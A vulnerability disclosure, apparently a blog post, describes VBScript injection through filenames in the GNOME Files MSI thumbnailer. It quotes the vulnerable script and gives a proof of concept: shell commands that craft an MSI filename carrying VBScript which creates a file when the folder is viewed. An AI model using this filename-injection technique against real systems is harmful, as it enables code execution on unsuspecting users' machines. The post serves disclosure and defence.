VBScript Injection via GNOME Thumbnailer

Summary

Vulnerability

Thumbnail generation for MSI files in GNOME Files executes arbitrary VBScript.

GNOME developer Bastien Nocera wrote me that the file managers Cinnamon Nemo and MATE caja are also affected by this issue.

Remedy (for users)

Delete all files in /usr/share/thumbnailers. Do not use GNOME Files, Cinnamon Nemo or Mate caja. Uninstall any other software that facilitates automatically executing parts of filenames as code.

Remedy (for developers)

Do not parse files with bug-ridden ad-hoc parsers. Fully recognize inputs before processing them. Do not use templates, use unparsers instead. Read about LANGSEC.

Marketing Materials

I name this vulnerability Bad Taste. Its logo is a color-shifted logo of Wine:

image/svg+xml

Proof of Concept

Install Dependencies

On Debian GNU/Linux, install the packages gnome-exe-thumbnailer, nautilus and wixl. The wixl package is only needed to create MSI files that trigger the thumbnailer.

If the proof of concept does not work, install winetricks and run winetricks wsh56 to upgrade the Windows Script Host.

Create MSI Files

Create a file named poc.xml with the following content:

<?xml version="1.0" encoding="utf-8"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Version="1.0"/>
</Wix>

Execute the following Bourne Shell code:

wixl -o poc.msi poc.xml
cp poc.msi "poc.msi\",0):Set fso=CreateObject(\"Scripting.FileSystemObject\"):Set poc=fso.CreateTextFile(\"badtaste.txt\")'.msi"

Trigger Execution

Start GNOME Files and navigate to the folder with the MSI files. An empty file with the name badtaste.txt should appear.

Details

Many file managers generate thumbnails depending on file formats. On GNU/Linux, to find a program that can generate a thumbnail for a particular file format, the file manager GNOME Files uses thumbnailer configuration files in /usr/share/thumbnailers. With the Debian package gnome-exe-thumbnailer installed, the file file /usr/share/thumbnailers/exe-dll-msi.thumbnailer contains the following text:

[Thumbnailer Entry]
TryExec=/usr/bin/gnome-exe-thumbnailer
Exec=/usr/bin/gnome-exe-thumbnailer %i %o %u
    MimeType=application/x-ms-dos-executable;application/x-msdownload;application/x-msi;application/x-ms-shortcut

This means that whenever an icon for a Microsoft Windows executable (EXE), installer (MSI), library (DLL), or shortcut (LNK) should be shown, GNOME Files calls /usr/bin/gnome-exe-thumbnailer to either extract an embedded icon from the file in question or deliver a fallback image for the appropriate filetype.

The shell script /usr/bin/gnome-exe-thumbnailer contains this code:

# Get the version number:
if [[ ${INPUTFILE##*.} = 'msi' ]]
then
	# Look for the ProductVersion property if user has the Microsoft (R) Windows Script Host installed:
	if which wine && grep -v 'Wine placeholder DLL' $HOME/.wine/drive_c/windows/system32/cscript.exe
	then
		# Workaround wine bug #19799: cscript crashes if you call WScript.Arguments(0)
		# http://bugs.winehq.org/show_bug.cgi?id=19799
		<<< "
			Dim WI, DB, View, Record
			Set WI = CreateObject(\"WindowsInstaller.Installer\")
Set DB = WI.OpenDatabase(\"$INPUTFILE\",0)
			Set View = DB.OpenView(\"SELECT Value FROM Property WHERE Property = 'ProductVersion'\")
			View.Execute
			Wscript.Echo View.Fetch.StringData(1)
		" iconv -f utf8 -t unicode > $TEMPFILE1.vbs

		VERSION=$(
			DISPLAY=NONE wine cscript.exe //E:vbs //NoLogo Z:\\tmp\\${TEMPFILE1##*/}.vbs 2>/dev/null \
			| egrep -o '^[0-9]+\.[0-9]+(\.[0-9][0-9]?)?(beta)?'
		)

	else
		# Try to get the version number from extended file properties at least:
		VERSION=$(
			file "$INPUTFILE" \
			| grep -o ', Subject: .*, Author: ' \
			| egrep -o '[0-9]+\.[0-9]+(\.[0-9][0-9]?)?(beta)?' \
			| head -1
		)
	fi

To summarize: Instead of parsing an MSI file to get its version number, this code creates a script containing the filename for which a thumbnail should be shown and executes that using Wine. The script is constructed using a template, which makes it possible to embed VBScript in a filename and trigger its execution.

Since only one line of VBScript is available, statements injected via the filename must be separated by colons. A single apostroph character (') can be used to start a comment that goes until the end of the line.